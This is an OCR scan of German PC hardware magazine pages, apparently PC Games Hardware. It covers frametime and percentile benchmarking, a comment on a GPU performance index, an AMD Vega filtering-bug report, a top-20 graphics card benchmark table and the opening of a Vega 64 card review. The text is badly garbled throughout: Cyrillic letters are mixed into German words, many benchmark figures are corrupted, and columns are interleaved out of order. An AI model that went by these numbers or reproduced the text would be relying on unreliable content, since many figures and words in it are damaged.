des Sekundenmittels gebildeten Minimum an Genauigkeit überlegen. 


Mimil Ø Fps 


» Besser 
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Auswertung der Frametimes am Beispiel Rise of the Tomb Raider (DX12): 
Mit einem Viewer für Fraps-Logs lassen sich aus den protokollierten Bildberech- 
nungszeiten auch Fps-Verláufe (oben) oder Prozentránge (unten) abbilden. Bei 
letzteren sollten die Werte am rechten Rand möglichst nicht ansteigen — denn das 
würde bei diesen wenigen Frames auf hohe Berechnungszeiten hindeuten. 


Frametimes pro Bild in Bilder pro Sekunde konvertiert (mehr ist besser) 


Statistics (displayed events) Core 7-7700К 

Avg- time: 6,71 (149 FPS) . Rise of the Tomb Raider DX12 „Geo Valley" 
1% time: — 114 (яя FPS) - `, PCGH-CPU-Beechmark — 1286 x 720. 
0.1% teme: 16,5 (61 res) ` > Titan X (Pascal, 385.41) 


= 2,9 K frames: (0 - 2978) " 
a. timespan: 1905 " 
time range: (11:2942,6 - 11:30:026) ` 
rt: 


> 


0 2 4 6 8 10 12 14 16 18 20 
Frametimes pro Bild (weniger ist besser) 
Statistics (displayed events) Core i7-7700 == 
Амд. time: 6,71 (149 FPS) Rise о! the Tomb Raider DX12 „Geo Valley" 
1% time: na (яя FPS) PCGH-CPU-Beechesark — 1.280 x 720 
0.19» teme: 16% (61 FPS) Titan X (Pascal, 385.41) 


2,9 K frames: (0 - 2978) 
timespan: 1905 
time range: — (11:29:42,6 · 11:30:02,6) 


Frametimes pro Bild in Prozentränge konvertiert (es ist kompliziert) 


майык» (entire file) Core i7-7700K 

Avg- time: — 671 (149 res) Rise of the Tomb Raider DX12 „Geo Valley" 
19 times пл (88 res) PCGH-CPU-Deschmark — 1.280 x 720 
O19 time: 165 (61 res) Titan X (Pascal, 385.41) 


2, K frames: (0 2978) 
timespan: 190% 
time range: (11:2%42,6 - 11:30-02,6) 


0 2 4 6 8 10 12 14 16 18 20 


7980XE-Frametimes, welche in den 
P99-Perzentilen keine Abbildung 
finden, sodass im Benchmark hier 
eine „97 Fps“ im Vergleich zu den 
70-P99-Fps des R7-1800X stünde. 
Dabei fallen die Ausreißer im Spiel- 
verlauf aber durchaus auf. Doch 
es gibt Abhilfe, die aber nur selten 
genutzt wird: Denn alternativ ist 
auch das Perzentil P99,9 möglich, 
welches nur einen Ausreißer von 
tausend Messwerten 
und auch kleinere Hakler sichtbar 
macht. 


„verzeiht“ 


Im Vergleich zu Fraps-Messungen 
ergibt die Auswertung der pro- 
tokollierten Frametimes häufiger 


Tomb Raider zeigen. Das deutet da- 
rauf hin, dass Fraps ein niedrigeres 
Perzentil zur Min-Fps-Gewinnung 
heranzieht. Übrigens: Das Perzentil 
P50 wird auch als Median bezeich- 
net - jeweils 50 Prozent der Mess- 
werte liegen darüber und darunter. 
Die Abweichung zum arithmeti- 
schen Mittel entsteht daraus, dass 
es beim Median eine wesentlich 
geringere Rolle spielt, wie weit 
Einzelwerte nach oben oder unten 
ausbrechen. 


Testprogramme 

Bereits erwähnt haben wir das 
auch kostenlos nutzbare Tool Fraps 
(www.fraps.com oder auf Heft- 


einen niedrigeren Wert beim Per- 
zentil P99, wie auch unsere Bei- 
spieldiagramme aus Rise of the 


DVD), welches lange Zeit das be- 
liebteste Leistungsmessprogramm 
seiner Art war. Obwohl es zuletzt 


Klassischer Fps-Verlauf 


RotTR DX12 „Geo Valley”: Sekunden-Durchschnitte 
220 


200 zx La 

180 A \ 

160 аќ а. 

КИ aliia AN N. 
120 ee . 

100 Le кы 


во | 66—099 


Bilder pro Sekunde (Ерѕ) 


60 

40 % 15-7600К (O-Fps) 

20 E i7-7700K (0-Ерѕ) 
0 


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 
Zeit in Sekunden 


Bemerkungen: Anhand der mit einem Sekundenmittel entstandenen Fps, wie sie Fraps auf Wunsch ausgibt, 
làsst sich zwar der Verlauf der Szene nachvollziehen, einzelne Hakler oder Stocker gehen jedoch komplett unter. 
Die , Min"-Fps lágen hier bei 80 respektive 114 und damit hóher als im Benchmarkbalken auf der vorigen Seite. 


Frametimes nach Anzahl aufgetragen 


Frametimes nach Zeit aufgetragen 


RotTR DX12 „бео Valley": Frametimes nach Anzahl der Bilder 
30 


E 15-7600К (Frametimes in Millisekunden) 
W i7-7700K (Frametimes in Millisekunden) 


Bildberechnungszeit (Frametime) in ms 


Anzahl der Bilder 


RotTR DX12 „Geo Valley": Frametimes nach abgelaufener Zeit 
30 


E 15-7600К (Frametimes in Millisekunden) 
W i7-7700K (Frametimes in Millisekunden) 


20 


Bildberechnungszeit (Frametime) in ms 


Zeit in Sekunden 


Bemerkungen: Bei dieser Darstellungsform zeigt zwar die Länge (nach rechts) der Verläufe, welches Produkt 
,mehr" Bilder erzeugt hat, der Bezug zur durchlaufenen Szene ist jedoch komplett dahin — wie die jeweiligen 
Höchstwerte des gelben und des lilafarbenen Verlaufes zeigen, die an zeitlich identischen Stellen auftreten. 


Bemerkungen: Mit dem Auftrag nach Zeit nimmt man sich zwar ein wenig künstlerische Freiheit heraus, da 
beide Verlàufe auf dieselbe Breite gestreckt werden, allerdings ergibt sich so ein Bezug zur jeweils dargestellten 


Szenerie und dem damit verbundenen , Schwierigkeitsgrad" der einzelnen Bilder. 
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Frametimes und Percentile | SPECIAL 


im Februar 2013 aktualisiert wur- Das soll speziell den ungleichmä- 
de, funktioniert es bis heute neben figen Frameraten-Verteilungen 
Open GL auch unter Direct X 12 bei Multi-GPU-Systemen auf die 
(dort jedoch ohne OSD). Lediglich — Schliche kommen - und dabei, so 
Vulkan bleibt komplett außen vor. die Intention bei FCAT-Miterfinder 

Nvidia, auch die Wirksamkeit der 
Moderner und mit Perzentil-Opti- Gegenmaßnahmen im Grafikkar- 


Was Frametime-Diagramme enthüllen, P99-Perzentile aber nicht: Zwar 
zeigen wir mit Intels i9-7980XE und AMDs Ryzen 7-1800X zwei CPUs im Vergleich, 
dasselbe gilt aber auch für Grafikkarten: Geht es nach dem Wert „1% time" (Perzen- 
til P99), liegt der i9 bei den Minima deutlich vor dem R7. Erst der Blick auf den 
Verlauf (oder das Perzentil P99,9) verdeutlicht die beiden starken Einbrüche beim i9. 


Intels Topmodell: i9-7980XE mit 174 O-Fps und 97 im Perzentil P99. 


Statistics (displayed events) 
fee 5,74 


on arbeitet das quelloffene OCAT — ten-Treiber demonstrieren. Bei 


Aw- (124 FPS) 
(Open Capture and Analysis Tool), FCAT wird dafür das ausgegebene Que ume 208 ZG 


welches unter anderem von AMD 
weiterentwickelt wird. Es ist unter 
https://github.com/GPUOpen- 
Tools/OCAT erhältlich und kann 
im Gegensatz zu Fraps auch un- 
ter Vulkan genutzt werden. Auch 
einige Überwachungs- und Tu- 
ning-Programme, etwa der MSI 
Afterburner, besitzen eine Fps-Log- 
ging-Funktion und zeigen ebenfalls 
Frametimes an. Prinzipiell greifen 
sie alle dabei aber auf die Funktion 
zu, die über „PresentMon“ die er- 
wähnten Bild-Intervalle ermittelt. 


Noch einen Schritt weiter geht der 
Ansatz, die Berechnungs-, Lauf- und 
Anzeigezeiten der auf dem Display 
dargestellten Bilder zu analysieren. 


Bild mit einem pro Bild farbkodier- 
ten Overlay versehen und aufge- 
zeichnet. Im Nachgang wird dann 
die prozentuale Anzeigedauer und 
-Zeit analysiert und bewertet. 


Das ist wie immer schwierig zu 
sagen, hängt „am besten“ doch 
vom Anspruch ab. Generell gilt: Je 
mehr Information, desto besser, 
also Frametime-Verläufe inklusive 
Angaben verschiedener Perzentile. 
Doch nicht jeder Nutzer hat Lust, 
sich so tiefgehend mit der Materie 
zu beschäftigen - nicht umsonst 
gibt es immer noch einen 3D Mark 
- sodass Durchschnitts-Fps samt 
sinnvoll gewonnener Minima wei- 
terhin eine brauchbare Informati- 
onsbasis bieten können. (cs) 


N1SRock 
UNLEASH THE POWER 


2370 SERIES MOTHERBOARDS 


3⁄4 K frames: (0 - 3480) 


1905 
(18:24:43,8 - 18:25:03,8) 


2,3 K frames: (0 - 2372) 


B 
(16:56:26, - 16:56:46,4) 


Ethernet 
erne LED 


| 77 Gigabit RGB 
" 4 


WWW.aSrock.cOm tebrana ana product names are trademarks of their respe 


Grafikkarten 


Grafikkarten, Kühler 


Raffael Vötter 
Fachbereich Grafikkarten 
E-Mail: rv@pcgh.de 


Kommentar 


In eigener Sache: Welche Wünsche ha- 
ben Sie bezüglich des PCGH-Grafikkar- 
ten-Leistungsindexes 2017/2018? 


Alle Jahre wieder kommt das Christuskind — 
und vorher renoviert die PC Games Hardware 
ihren Leistungsindex für Grafikkarten. Das ist 
notwendig, um auf dem aktuellen Stand zu 
bleiben. Einerseits berücksichtigen wir bei der 
jährlichen Umstellung die Entwicklung der 
genutzten Monitorauflösungen, andererseits 
sollen natürlich die technisch fortschrittlichsten 
Spiele integriert werden, damit der Index ein 
Jahr aussagekräftig ist. Doch ein Parcours nur 
aus den Blockbustern des Weihnachtsgeschäfts 
ist nicht zielführend, es muss ein Mittelweg her. 
Weit verbreitete Spiele, Engines und Schnittstel- 
len (DX9/11/12, Vulkan) gehören ebenfalls in ei- 
nen guten Leistungsindex, welcher sich mit dem 
Label schmückt, repräsentativ zu sein. Wir te- 
sten daher seit Monaten die neu erscheinenden 
Spiele, beobachten die Entwicklung durch neue 
Patches und Treiber und haben somit — inklu- 
sive der neuen Schwergewichte Wolfenstein 2, 
AC Origins, Destiny 2 & Co. — rund 40 Kandi- 
daten auf der Liste. Freuen Sie sich schon mal 
auf die PCGH 01 oder spätestens 02, in der wir 
die Geschichte auflösen! Bis dahin nehmen wir 
gerne Anregungen und Wünsche entgegen: 
Wie sieht Ihrer Meinung nach der optimale 
Leistungsindex für Grafikkarten aus? Dabei 
gibt es viele Diskussionspunkte. Gehören An- 
wendungen mit in das Ergebnis oder sollen wir 
einen ,Produktiv-Index" schaffen, welcher ne- 
ben dem Gamingwert steht? Wie viele Anwen- 
dungen (Open CL/CUDA) sollen's sein? Welche 
Gewichtung der Auflósungen ist gut? Soll das 
Ultrawide-Format als vierte Auflósung mitspie- 
len? Und, und, und. Wir peilen erneut 20 Tests 
an. Warum nicht mehr? Ganz einfach: Der Test- 
aufwand muss in einem zeitlich vertretbaren 
Rahmen stemmbar sein, wobei wir von Jahr zu 
Jahr aufwendiger messen. Ich freue mich auf 
Ihre Anregungen unter rv@pcgh.de! 
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RS 17.9.2/.3: Inhomogene Filterung mit Flimmer-Banden 


ameshardwa 


RS 17.10.1 (und 17.9.1): Homogen, wie es sein soll 


Vega: AF-Bug im Treiber behoben 


PCGH investigativ: AMDs Vega-Chip musste sich 
kurzzeitig mit AF-Problemen herumschlagen, 
doch AMD hat schnell reagiert. 


AH: Oktober wurden wir von einem 
ndigen Vega-Nutzer auf ein Problem auf- 
merksam gemacht, welches die Qualität der 
anisotropen Filterung torpediert: Auf einmal 
erstrahlten die Texturen auf Vega-Grafikkarten 
nicht mehr tadellos, sondern zeigten die be- 
rüchtigten Flimmer-Banden, welche immer 
dann auftreten, wenn Unterfilterung stattfin- 
det. Der Schuldige war schnell gefunden: Die 
Radeon Software 17.9.2 implementierte einen 
Filter-Bug, welcher von der Version 17.9.3 mit- 
geschleppt wurde. 


PCGH-Analysen ergaben, dass das Problem 
explizit Vega betrifft und unabhängig von der 
Programmierschnitt- 
stelle oder der AF-Ein- 
stellung (nutzer- oder 


anderem in World of Warcraft, The Witcher 3 
und dem erbarmungslosen 3D Center Filtertes- 
ter. Da Benchmarks ergaben, dass die RS 17.9.2 
und 17.9.3 keine höheren Bildraten erreichen 
als die tadellos filternde Version 17.9.1, konnten 
wir eine neue Filter-„Optimierung“ - also das 
Weglassen von Rechenschritten zugunsten der 
Bildrate - ausschließen und informierten der- 
weil AMD haarklein über das Problem. Wie Sie 
sicher bemerkt haben, sprechen wir in der Ver- 
gangenheitsform, denn die Treiberabteilung re- 
agierte prompt und präsentierte die Problem- 
lósung in Form der Radeon Software 17.10.1, 
welche am 10. Oktober zum Download bereit 
stand. Mit diesem Treiber filtern die RX Vega 64 
LCE/Air und RX Vega 56 mit der gewohnt ho- 
hen Qualität. Wir bleiben jedoch wachsam und 
werden das AF nach weiteren Treiberupdates 
stichprobenartig im Auge behalten. (rv) 


anwendungsforciert) 
auftritt. Die Symp- 
tome traten immer 
dann in den Vorder- 
grund, wenn ein Spiel 
hochfrequente — Tex- 
turinhalte aufbietet, 
gut zu sehen unter 


Auf dem Datentráger 

der DVD-Heftversion 

finden Sie unkomprimierte 

Screenshots, die das hier 

Gesagte illustrieren. Verglei- 

chen Sie die AF-Qualität der Treiberversion 
RS 17.9.1, 17.9.3 und 17.10.1 am eigenen 
Bildschirm! 


www.pcgameshardware.de 


Startseite | GRAFIKKARTEN 


GPU-Leistungsindex: Top 20 


Wi Gesamt B FHD В WQHD E UHD 


BESSER > | Normierte Leistung 


| Preis-Leistungs-Index (РІМ): Mehr ist besser 


Nvidia 

Titan Xp 

Takt: 1.582 MHz, 11,4 GT/s 

RAM: 12 GiB GDDR5X 

Preis: Ca. 1.300 € (+0) 
PLV: 40,9 % 


Geforce 
GTX 1080 Ti 


Takt: 1.582 MHz, 11 GT/s 

RAM: 11 GiB GDDR5X 

Preis: Ca. 730 € (+20) 
PLV: 69,7 % 


Nvidia 

Titan X (Pascal) 
Takt: 1.531 MHz, 10 GT/s 
RAM: 12 GiB GDDR5X 


Preis: Nicht lieferbar 
РМ: – 


Geforce 
GTX 1080 


Takt: 1.733 MHz, 10 GT/s 

RAM: 8 GiB GDDR5X 

Preis: Ca. 500 € (+0) 
PLV: 85,2 % 


Radeon 
RX Vega 64 LCE 


Takt: 1.677 MHz, 1,89 GT/s 

RAM: 8 GiB HBM2 

Preis: Ca. 750 € (+0) 
PLV: 56,6 % 


Radeon 

RX Vega 64 Air 

Takt: 1.546 MHz, 1,89 GT/s 

RAM: 8 GiB HBM2 

Preis: Ca. 590 € (-10) 
PLV: 67,1 % 


Radeon 
RX Vega 56 


Takt: 1.471 MHz, 1,6 GT/s 

RAM: 8 GiB HBM2 

Preis: Ca. 500 € (+0) 
PLV: 69,6 % 


Geforce 

GTX 1070 

Takt: 1.683 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 400 € (+0) 
PLV: 86,8 % 


Geforce 
GTX 980 Ti 


Takt: 1.075 MHz, 7 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 540 € (+40) 
РІМ: 59,2 % 


Radeon 

R9 Fury X 

Takt: 1.050 MHz, 1 GT/s 
RAM: 4 GiB HBM 


Preis: Nicht lieferbar 
РМ: – 


Gw——a 100 
ECHO 
[MU 
Gwwwssn——Eti r`. 
AOS: 51/43140 CW:95/87/55 F1:112197/68 MEC: 117/85/47 — TWW: 66/64/35 

ACS: 91/6738 ОМ: 123/88/49 FO4:164/115/59 OW: 247/168/88 — ECR:128/82/39 

81: 216/157/90 ` DM:200/176/89 FCP: 108/85/53 ROT: 111/81/46 — W3:137/97/54 

C3: 128/83/42 — TES:245/224/140 GTA:72/57/04 TTP: 119/95/61 COP:58,0 


Radeon 

R9 390X 

Takt: 1.050 MHz, 6 GT/s 

RAM: 8 GiB GDDR5 

Preis: Nicht lieferbar 
PLV: — 


LBE 


AOS: 48/42/38 
ACS: 90/65/37 
Bl: 207/147/84 
C3:121/78/38 


F1:112/95/64 
F04: 156/106/54 
РСР: 105/81/49 
GTA: 72/56/32 


МЕС: 115/81/44 TWW: 66/60/32 
0W:236/159/82 ЕСА: 118/75/36 
ROT: 104/74/42 W3:132/93/51 
ТТР: 113/90/57 СОР: 56,3 


CW: 95/83/51 
DMD: 119/84/46 
DM: 200/171/87 
TES: 237/214/130 


Geforce 
GTX 980 


Takt: 1.216 MHz, 7 GT/s 

RAM: 4 GiB GDDR5 

Preis: Ca. 400 € (-20) 
PLV: 64 % 


Gara 
mr O S kÑ. 5: 
К rrrrr as % 
UI ——— 917 % 
AOS:47/41/37 — CW:95/8350 — FI:110/94/64 МЕС: 114/81/44 TWW: 66/60/32 
ACS: 89/6336 DMD: 117/83/45 FO4:156/106/54  OW:229/157/8l ECR: 119/75/36 
BI: 204/145/83 ОМ: 200/169/85 FCP: 103/80/48 ROT: 102/73/41 — W3:130/92/50 
C3: 121/78/39 TES: 237/213/129 GTA: 71/56/32 TTP: 112/89/56 COP: 56,4 


Radeon 

RX 580/8G 

Takt: 1.340 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 320 € (-20) 
PLV: 79,5 % 


ЕЕ 
НЕНИ $/ 0% 
mms vw. 
Gw FssN. 
AOS: 44/35/33 — CW:947838 Е1:100/84/54 МЕС:98/68/36 
ACS: 79/5429 DMD: 103/70/37 FO4:130/85/43 ОМ: 184/126/65 
ВІ: 170/121/63 — DM:193/134/67  FCP:87/66/39 — ROT:85/59/32 
C3:95/61/80 TES:223/1721102 GTA: 63/47/25 — TTP:88/69/43 


TWW: 64/47/25 
ECR: 95/59/28 
W3: 112/77/41 
COP: 53,2 


Geforce 
GTX 1060/6G 


Takt: 1.709 MHz, 8 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 250 € (-10) 
PLV: 100 % 


AOS: 43/36/33 
ACS: 66/44/24 


F1: 88/87/60 
ЕО4: 125/85/43 


TWW: 64/43/23 
ЕСЕ: 79/51/25 


CW: 81/72/35 
DMD: 111/76/39 


МЕС: 91/65/36 
OW: 186/126/65 


Radeon 

RX 480/8G 

Takt: 1.266 MHz, 7 GT/s 
RAM: 8 GiB GDDR5 
Preis: Ca. 280 € (-20) 


ВІ: 174/129/64 DM: 200/166/82 FCP: 89/69/42 ROT: 88/63/36 W3: 110/77/41 PLV: 87,2 % 
C3: 84/56/28 TES: 213/163/98 СТА: 57/42/23 TTP: 92/72/45 COP: 72,5 BE 
74,4% 
ss. ', Radeon 
m—=⁄6 3 %% R9 390 


== ___ [072 


AOS: 41/34/32 CW: 81/69/32 F1: 88/86/55 MEC: 86/60/32 
ACS: 61/40/22 DMD: 104/71/37  FO4: 117/68/35 ОМ: 168/113/57 
ВІ: 173/115/57 DM: 200/148/73 FCP: 83/64/39 ROT: 77/55/31 


TWW: 61/41/21 
ЕСА: 72/46/22 
W3: 102/71/38 


Takt: 1.000 MHz, 6 GT/s 

RAM: 8 GiB GDDR5 

Preis: Nicht lieferbar 
РМ: – 


C3: 80/51/25 TES: 201/153/92 СТА: 53/40/21 ТТР: 85/66/41 СОР: 67,6 
инини 65, %; 
GER Radeon 

с — к ы RX 570/46 
TTT 55 % Takt: 1.245 MHz, 7 GT/s 
AOS: 39/30/28 CW: 81/60/29 F1: 88/73/47 MEC: 75/53/29 TWW: 51/34/18 RAM: 4 GiB GDDR5 


ECR: 65/41/20 
W3: 87/60/32 


ACS: 54/36/20 
Bl: 160/102/51 


DMD: 88/60/31 
DM: 190/123/61 


F04: 101/68/35 
FCP: 69/54/33 


OW: 148/100/52 
ROT: 63/45/26 


Preis: Nicht lieferbar 
РМ: – 


(3: 71/46/23 TES: 175/130/78 СТА: 46/34/18 ТТР: 72/56/34 СОР: 63,6 
ПН с > 
ТИНИ K коп 

Г gg R9 290 
р Takt: 947 MHz, 5 GT 
AOS: 38/30/28 CW: 94/63/30 F1: 83/68/43 МЕС: 79/53/28 TWW: 56/37/20 RAM: 4 GiB GDDR5 


ACS:64/44/24 DMD: 82/55/29 РОД: 106/69/35 OW: 151/99/52 ЕСК: 76/47/22 Preis: Ca. 250 € (-30) 
ВІ: 143/98/49 DM: 161/104/52 СР: 69/52/31 ROT: 64/45/25 W3: 89/60/32 PLV: 86,4 96 

C3: 7714924 TES: 197/144/84 СТА: 53/38/20 TTP: 69/54/34 COP: 44,9 SE 
LEE 

PER F Balder 
—r aa 577 % GTX 1060/36 
www Takt: 1.709 MHz, 8 GT/s 
AOS: 32/24/23 CW: 92/58/28 F1: 76/63/40 МЕС: 70/48/20 TWW: 53/36/19 RAM: 3 GiB GDDR5 


ACS: 54/39/21 
ВІ: 145/100/51 


DMD: 76/52/28 
DM: 148/95/46 


FO4: 99/67/34 
FCP: 61/47/29 


OW: 141/93/48 
ROT: 60/43/23 


ECR: 72/45/21 
W3: 80/55/30 


Preis: Nicht lieferbar 
РМ: – 


C3: 74/47/23 TES: 177/130/77 СТА: 46/34/19 ТТР: 66/52/32 СОР: 39,9 

г шш 

Г т шо 
P GTX 970 
a Takt: 1.178 MHz, 7 GT/s 
AOS: 33/27/25 CW: 83/59/30 F1: 71/61/41 МЕС: 34/24/17 — TWW:43/31/7 RAM: 3,5+0,5 GiB GDDR5 
ACS:48/34/12 ОМО: 73/50/24 F04: 81/56/29 OW: 136/95/50 ЕСК: 58/39/19 Preis: Ca. 280 € (+0) 
ВІ: 152/102/53 DM:181/120/59 РСР: 58/48/31 ROT: 51/38/22 W3: 74/54/30 РІМ: 75 % 

C3: 71/47/24 TES: 136/106/67 СТА: 42/32/16 ТТР: 68/55/35 СОР: 61,7 ` 


г Шш 


Gw 
[ TZ 
TK 
A05:29/2322 — CW:785125  F1:61/51/34 
ACS: 39/27/15 DMD: 62/42/22 — FO4: 66/45/23 
BI: 124/80/40 DM: 135/88/44 ЕСР: 50/40/26 
С3:58/38/19 ТЕ5:121/94/59 GTA: 37/28/15 


MEC: 50/35/19 
OW: 99/68/34 
ROT: 44/33/19 
TTP: 68/53/31 


TWW: 33/24/13 


ECR: 46/31/15 
W3: 54/38/21 
COP: 56,0 


ОГ 


LC" EA 
Г “Fa 50% 
www 


А05: 28/22/20 CW: 77/46/22 F1: 66/53/34 

ACS: 48/32/14 DMD: 63/43/21 F04: 83/54/27 
BI: 123/80/39 DM: 128/81/39 ЕСР: 50/39/23 
C3: 60/37/18 TES: 146/106/61 СТА: 40/29/15 


MEC: 35/27/13 
OW: 115/76/39 
ROT: 38/22/13 
TIP: 53/41/25 


TWW: 45/30/15 


ECR: 58/36/17 
W3: 67/45/24 
COP: 31,6 


A 75 % 


ЕЕЕ 
ws 
КЕШ 41,5% 
AOS:28/2201  CW:67/41/20 F1:67/54/34 
ACS: 42/28/15 DMD: 65/44/22 FO4:67143/20 
BI: 116/73/35 ОМ: 156/98/47 ЕСР: 48/38/23 
CX:53/33/16 ТЕ5:128/92/54 СТА: 35/25/13 


MEC: 55/38/19 
OW: 109/73/37 
ROT: 46/33/19 
TTP: 49/39/24 


TWW: 36/24/13 


ECR: 47/29/14 
W3: 64/44/24 
COP: 48,2 


Ни 7с. 


Hil 
sss 
N ~o; Z7 

AOS: 29/22/21 CW: 74/45/21 F1: 60/48/30 
ACS: 47/32115 ОМО: 58/39/20 FO4: 75/49/25 
BI: 113/72/36 DM: 117/74/36 ЕСР: 49/37/21 
С3:56/35/17 TES: 146/103/59 СТА: 40/28/15 


МЕС: 56/37/15 
OW: 105/69/35 
ROT: 43/31/17 
ТТР: 49/38/24 


TWW: 41/27/14 


ЕСА: 53/33/15 
W3: 61/41/22 
СОР: 34,8 


кини 55% 


и 
Г 2,6 6 
[EIL 32,5 % 

AOS: 28/22/21  CW:65/41/20 Fl:63/52/33 
ACS: 41/27/14 DMD: 61/41/20 — FO4:65/41/20 
BI: 111/70/34 ОМ: 145/91/44 FCP: 46/36/22 
C3:51/32/15 ТЕ5:118/87/51 GTA: 35/25/13 


MEC: 53/36/19 
OW: 102/69/35 
ROT: 44/31/18 
ТТР: 47/37/23 


TWW: 35/24/13 


ECR: 44/28/13 
W3: 60/41/22 
COP: 46,3 


В 


Е=ЕЕ Р 
r „г 
EEE 20,6 % 

AOS: 27/22/21 — CW:74/48/3 F1: 55/46/30 
ACS: 35/25/14 ОМО: 58/40/21 РО4: 63/43/22 
Bl: 114/73/37 ОМ: 124/80/40 FCP: 46/37/23 
C3:54/36/18 TES: 111/85/53 GTA: 34/26/14 


MEC: 47/32/18 
OW: 93/64/33 
ROT: 40/30/17 
TTP: 52/42/26 


TWW: 29/21/12 


ECR: 43/29/14 
W3: 48/33/18 
COP: 54,8 


ВКА 


НН 35 % 
EN 383 
Gss 
A0S: 26/2019 CW: 60/37/18 
ACS:38/5/8 ОМО: 56/37/18 
81103/6531 ОМ: 134/83/40 
С3:47130/04 TES: 114/81/48 


F1: 60/49/30 

F04: 61/39/18 
FCP: 42/33/20 
GTA: 33/23/12 


MEC: 29/20/12 
OW: 94/63/32 
ROT: 39/28/15 
TTP: 44/34/21 


TWW: 31/21/7 
ECR: 42/26/13 
W3: 55/37/20 
COP: 40,5 


D ME 


ws 
щи г; 
UE 
AOS: 25/20/19 СМ: 69/43/22 

AC 33/21/11 DMD: 52/36/17 

BI: 106/68/34 DM: 114/74/36 

C3: 50/33/16 TES: 103/79/49 


F1: 51/42/27 
РО4: 57/39/20 
FCP: 42/34/22 
СТА: 32/23/8 


МЕС: 28/20/11 
0W: 85/57/29 
ROT: 38/28/16 
TTP: 48/38/24 


TWW: 27/20/11 
ECR: 40/26/13 
W3: 45/32/17 
СОР: 48,9 


A О» 5 


RN “5.7 % 
sü 
p 12 06 
AOS:28/]1/14 CW: 70/43/20 
ACS: 451285 — DMD:51/32/15 
BI: 108/68/34 DM: 105/69/26 
C3: 53/33/16 TES: 134/96/54 


F1: 57/46/28 
F04: 70/45/23 
FCP: 46/34/20 
GTA: 38/27/6 


MEC: 31/20/9 
OW: 96/63/32 
ROT: 21/15/9 

TTP: 46/36/22 


TWW: 37/15/6 
ECR: 50/30/13 
W3: 57/39/20 
COP: 31,0 


Gw KEEN] 


sa; % 
[— 5 376 % 
js 
AOS:24/18/17 СМ: 64/38/18 
ACS: 40/26/11 DMD: 51/34/17 
BI: 106/67733 ОМ: 106/66/32 
CX:50/81/15 — TES:122/88/50 


Е1: 56/45/25 
F04: 68/45/22 
FCP: 43/31/17 
GTA: 34/24/7 


MEC: 31/23/11 
OW: 90/60/31 
ROT: 33/22/13 
TTP: 43/34/21 


TWW: 38/25/11 
ECR: 43/26/12 
W3: 54/37/19 
СОР: 28,5 


System: Core i7-6800K @ 4,4 GHz (LLC: 3,6 GHz), MSI Х99А Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64; anisotroper Filter auf „Hohe Qualität“ (HQ-AF); Vsync aus. Klammer: Preisentwicklung ggü. Vormonat 
Spiele-/Anwendungsnamen: Ashes of the Singularity (AOS), Assassin's Creed Syndicate (ACS), Bioshock Infinite (ВІ), Crysis 3 (C3), Crysis Warhead (CW), Deus Ex: Mankind Divided (DMD), Doom (DM), F1 2016 (F1), Fallout 4 (F04), 
Far Cry Primal (FCP), Grand Theft Auto 5 (GTA), Mirror's Edge: Catalyst (MEC), Overwatch (OW), Rise of the Tomb Raider (ROT), The Talos Principle (ТТР), Total War: Warhammer (TWW), The Elder Scrolls 5: Skyrim (TES), The Vanishing of 
Ethan Carter Redux (ECH), The Witcher 3 (W3), Capture One Pro (COP). Angabe auf die nächste Ganzzahl gerundeter Fps, außer COP (Megapixel/s). Die Anwendungsleistung fließt nur in den blauen Gesamtindex ein. 
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= GRAFIKKARTEN | Vega-Herstellerdesigns inkl. LCE 


Die stärksten AMD-Grafikkarten im Test: Wie 
schlägt sich das erste RX-Vega-64-Hersteller- 
design gegen die Referenzkarten mit Luft- und 
Fluidkühlung? PCGH liefert die Antwort. 


Video auf Heft-DVD 


Im Video auf der Heft- 

DVD zeigen wir die drei 
Probanden im Detail: Asus 
Strix, AMD Liquid-Coo- 
led-Edition sowie Air (Limited 
Edition). Neben der Kühlung erfahren Sie 
Details zur Platine, Länge und Höhe sowie zur 
elektrischen Leistungsaufnahme. 
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s kam anders als erwartet. Ei- 
E gentlich sollten nun, während 
Sie diese Zeilen lesen, zahlreiche 
Hersteller ihre eigenen Vega-Vari- 
anten auf den Markt gebracht ha- 
ben. Das ist der übliche Lauf der 
Dinge: Eine GPU-Schmiede liefert 
die Blaupausen, verkauft die Gra- 
fikchips mitsamt Speicher und die 
Partner machen sich daran, ihre ei- 
genen Designs zu erschaffen. Diese 
Regel lässt sich auf alle Grafikkar- 
ten anwenden, mit Ausnahme der 
Sorte Titan Xp und Radeon Vega 
Frontier Edition. 


Im Falle der RX Vega 64 und RX 
Vega 56 hat die Regel noch Bestand, 
allerdings begleitet von Verzöge- 
rungen. Offizielle Aussagen sind 
Mangelware, Branchen-Insider ver- 


muten jedoch ein Konglomerat an 
Faktoren, welche die Fertigstellung 


der Herstellerdesigns torpedieren. 
Vega sei ein teures Konstrukt, das 
bei üblichen Marktpreisen nur 
wenig Gewinn abwerfe, nennen 
die einen als gewichtigen Grund. 
Auf der anderen Seite stehe der 
große Stromdurst zumindest der 
Vega 64, welcher große Kühler 
erfordere - auch dies schmälert 
die Marge. Zu allem Überfluss ver- 
wendet AMD mehrere, minimal 
unterschiedliche Packages, welche 
die Hersteller beim Kühlerdesign 
vor Herausforderungen stellen. Als 
Package wird das Gesamtpaket aus 
Trägerplatine, GPU und im Falle Ve- 
gas auch HBM2 genannt, welches je 
nach Fertiger verschiedene Höhen 
aufweist. Weiterhin beklagen die 
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Radeon RX Vega 64: Air vs. Liquid vs. Strix | GRAFIKKARTEN 


Vega-64-Grafikkarten: Leistung in Ultra HD 


The Witcher 3, kein Gameworks, Ingame-AA/16:1 HQ-AF - „Boat Trip" 


MSI GTX 1080 Ti Lightning Z 558,5 (+54 96) 
Zotac GTX 1080 Ti AMP! Extreme a —swa5858,1 (+52 96) 
EVGA GTX 1080 Ti FTW3 Gaming VBE 57,7 (+51 96) 
Inno 3D GTX 1080 Ti iChill ХЗ Ultra sn 57,6 (+51 %) 
MSI GTX 1080 Ti Gaming X 57,0 (+50 %) 
Asus GTX 1080 Ti Strix OC ВЕНЕВ 56,6 (+49 96) 
Gigabyte GTX 1080 Ti Aorus Xtreme [Xu 56,5 (+48 96) 
EVGA GTX 1080 Ti SC2 Gaming ВЕЗИ 55,4 (+45 %) 
